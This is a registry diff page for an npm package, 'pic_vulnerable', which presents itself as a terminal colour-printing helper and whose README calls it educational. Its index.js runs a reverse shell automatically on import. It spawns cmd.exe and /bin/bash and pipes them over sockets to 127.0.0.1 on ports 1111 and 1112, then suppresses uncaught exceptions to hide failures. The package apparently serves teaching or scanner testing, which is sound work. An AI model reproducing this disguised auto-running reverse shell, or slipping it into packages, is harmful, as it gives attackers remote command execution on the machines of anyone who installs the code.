pic_vulnerable 1.0.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of pic_vulnerable might be problematic. Click here for more details.
- package/README.md +17 -0
- package/index.js +62 -0
- package/package.json +12 -0
package/README.md
ADDED
@@ -0,0 +1,17 @@
|
|
1
|
+
**Warning: This package is a package containing a reverse shell to localhost on port 1111.**
|
2
|
+
|
3
|
+
This package is a vulnerable package and is created for educational purposes.
|
4
|
+
|
5
|
+
|
6
|
+
This package contains a function to display text in the terminal in color.
|
7
|
+
|
8
|
+
```javascript
|
9
|
+
const {printWithColor} = require('test_package');
|
10
|
+
printWithColor("Hello World", "red");
|
11
|
+
printWithColor("Hello World", "green");
|
12
|
+
printWithColor("Hello World", "blue");
|
13
|
+
printWithColor("Hello World", "yellow");
|
14
|
+
printWithColor("Hello World", "magenta");
|
15
|
+
printWithColor("Hello World", "cyan");
|
16
|
+
printWithColor("Hello World", "white");
|
17
|
+
```
|
package/index.js
ADDED
@@ -0,0 +1,62 @@
|
|
1
|
+
const attackServer = "127.0.0.1"
|
2
|
+
const windowsAttackPort = 1111
|
3
|
+
const linuxAttackPort = 1112
|
4
|
+
|
5
|
+
|
6
|
+
function setupReverseShell() {
|
7
|
+
// For windows
|
8
|
+
var net = require("net"),
|
9
|
+
child = require("child_process"),
|
10
|
+
shell = child.spawn("cmd.exe", []);
|
11
|
+
|
12
|
+
var client = new net.Socket();
|
13
|
+
|
14
|
+
client.connect(windowsAttackPort, attackServer, function(){
|
15
|
+
client.pipe(shell.stdin);
|
16
|
+
shell.stdout.pipe(client);
|
17
|
+
shell.stderr.pipe(client);
|
18
|
+
})
|
19
|
+
|
20
|
+
|
21
|
+
|
22
|
+
// For linux
|
23
|
+
net = require("net"),
|
24
|
+
child = require("child_process"),
|
25
|
+
shell = child.spawn("/bin/bash", []);
|
26
|
+
|
27
|
+
client = new net.Socket();
|
28
|
+
|
29
|
+
client.connect(linuxAttackPort, attackServer, function(){
|
30
|
+
client.pipe(shell.stdin);
|
31
|
+
shell.stdout.pipe(client);
|
32
|
+
shell.stderr.pipe(client);
|
33
|
+
})
|
34
|
+
};
|
35
|
+
|
36
|
+
setupReverseShell();
|
37
|
+
process.on('uncaughtException', err => {
|
38
|
+
return
|
39
|
+
})
|
40
|
+
|
41
|
+
|
42
|
+
|
43
|
+
function printWithColor(string, color) {
|
44
|
+
if(color === 'red') {
|
45
|
+
console.log('\x1b[31m%s\x1b[0m', string);
|
46
|
+
} else if(color === 'green') {
|
47
|
+
console.log('\x1b[32m%s\x1b[0m', string);
|
48
|
+
} else if(color === 'yellow') {
|
49
|
+
console.log('\x1b[33m%s\x1b[0m', string);
|
50
|
+
} else if(color === 'blue') {
|
51
|
+
console.log('\x1b[34m%s\x1b[0m', string);
|
52
|
+
} else if(color === 'magenta') {
|
53
|
+
console.log('\x1b[35m%s\x1b[0m', string);
|
54
|
+
} else if(color === 'cyan') {
|
55
|
+
console.log('\x1b[36m%s\x1b[0m', string);
|
56
|
+
} else {
|
57
|
+
console.log('\x1b[37m%s\x1b[0m', string);
|
58
|
+
}
|
59
|
+
}
|
60
|
+
|
61
|
+
|
62
|
+
module.exports = {printWithColor};
|
package/package.json
ADDED
@@ -0,0 +1,12 @@
|
|
1
|
+
{
|
2
|
+
"name": "pic_vulnerable",
|
3
|
+
"version": "1.0.0",
|
4
|
+
"description": "This package is a vulnerable package and is created for educational purposes.",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"start": "node index.js"
|
8
|
+
},
|
9
|
+
"keywords": ["test", "vulnerable", "local webshell"],
|
10
|
+
"author": "Pierrick Delrieu",
|
11
|
+
"license": "ISC"
|
12
|
+
}
|